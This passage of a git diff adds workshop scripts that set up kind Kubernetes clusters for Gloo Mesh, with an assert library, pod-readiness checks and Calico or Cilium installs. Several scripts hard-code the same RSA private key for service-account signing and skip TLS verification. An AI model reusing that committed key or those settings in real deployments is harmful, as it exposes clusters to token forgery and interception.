fqdn_cluster1_bookinfo %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- endif %} \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/scripts/assert.sh b/gloo-mesh/platform/2-5/airgap/default/scripts/assert.sh new file mode 100755 index 0000000000..75ba95ac90 --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/scripts/assert.sh @@ -0,0 +1,252 @@ +#!/usr/bin/env bash + +##################################################################### +## +## title: Assert Extension +## +## description: +## Assert extension of shell (bash, ...) +## with the common assert functions +## Function list based on: +## http://junit.sourceforge.net/javadoc/org/junit/Assert.html +## Log methods : inspired by +## - https://natelandau.com/bash-scripting-utilities/ +## author: Mark Torok +## +## date: 07. Dec. 2016 +## +## license: MIT +## +##################################################################### + +if command -v tput &>/dev/null && tty -s; then + RED=$(tput setaf 1) + GREEN=$(tput setaf 2) + MAGENTA=$(tput setaf 5) + NORMAL=$(tput sgr0) + BOLD=$(tput bold) +else + RED=$(echo -en "\e[31m") + GREEN=$(echo -en "\e[32m") + MAGENTA=$(echo -en "\e[35m") + NORMAL=$(echo -en "\e[00m") + BOLD=$(echo -en "\e[01m") +fi + +log_header() { + printf "\n${BOLD}${MAGENTA}========== %s ==========${NORMAL}\n" "$@" >&2 +} + +log_success() { + printf "${GREEN}✔ %s${NORMAL}\n" "$@" >&2 +} + +log_failure() { + printf "${RED}✖ %s${NORMAL}\n" "$@" >&2 + file=.test-error.log + echo "$@" >> $file + echo "#############################################" >> $file + echo "#############################################" >> $file +} + + +assert_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected == $actual :: $msg" || true + return 1 + fi +} + +assert_not_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ ! "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected != $actual :: $msg" || true + return 1 + fi +} + +assert_true() { + local actual="$1" + local msg="${2-}" + + assert_eq true "$actual" "$msg" + return "$?" +} + +assert_false() { + local actual="$1" + local msg="${2-}" + + assert_eq false "$actual" "$msg" + return "$?" +} + +assert_array_eq() { + + declare -a expected=("${!1-}") + # echo "AAE ${expected[@]}" + + declare -a actual=("${!2}") + # echo "AAE ${actual[@]}" + + local msg="${3-}" + + local return_code=0 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=1 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=1 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) != (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_array_not_eq() { + + declare -a expected=("${!1-}") + declare -a actual=("${!2}") + + local msg="${3-}" + + local return_code=1 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=0 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=0 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) == (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_empty() { + local actual=$1 + local msg="${2-}" + + assert_eq "" "$actual" "$msg" + return "$?" +} + +assert_not_empty() { + local actual=$1 + local msg="${2-}" + + assert_not_eq "" "$actual" "$msg" + return "$?" +} + +assert_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ -z "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack doesn't contain $needle :: $msg" || true + return 1 + fi +} + +assert_not_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack contains $needle :: $msg" || true + return 1 + fi +} + +assert_gt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -gt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first > $second :: $msg" || true + return 1 + fi +} + +assert_ge() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -ge "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first >= $second :: $msg" || true + return 1 + fi +} + +assert_lt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -lt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first < $second :: $msg" || true + return 1 + fi +} + +assert_le() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -le "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first <= $second :: $msg" || true + return 1 + fi +} \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/scripts/check.sh b/gloo-mesh/platform/2-5/airgap/default/scripts/check.sh new file mode 100755 index 0000000000..fa52484b28 --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/scripts/check.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash + +printf "Waiting for all the kube-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n kube-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n kube-system pods are now ready \n" + +printf "Waiting for all the metallb-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n metallb-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n metallb-system pods are now ready \n" + diff --git a/gloo-mesh/platform/2-5/airgap/default/scripts/deploy-aws-with-calico.sh b/gloo-mesh/platform/2-5/airgap/default/scripts/deploy-aws-with-calico.sh new file mode 100755 index 0000000000..1c7a2ec3cf --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/scripts/deploy-aws-with-calico.sh @@ -0,0 +1,240 @@ +#!/usr/bin/env bash +set -o errexit + +number=$1 +name=$2 +region=$3 +zone=$4 +twodigits=$(printf "%02d\n" $number) +kindest_node=${KINDEST_NODE:-kindest\/node:v1.28.0@sha256:b7a4cad12c197af3ba43202d3efe03246b3f0793f162afb40a33c923952d5b31} + +if [ -z "$3" ]; then + region=us-east-1 +fi + +if [ -z "$4" ]; then + zone=us-east-1a +fi + +if hostname -I 2>/dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 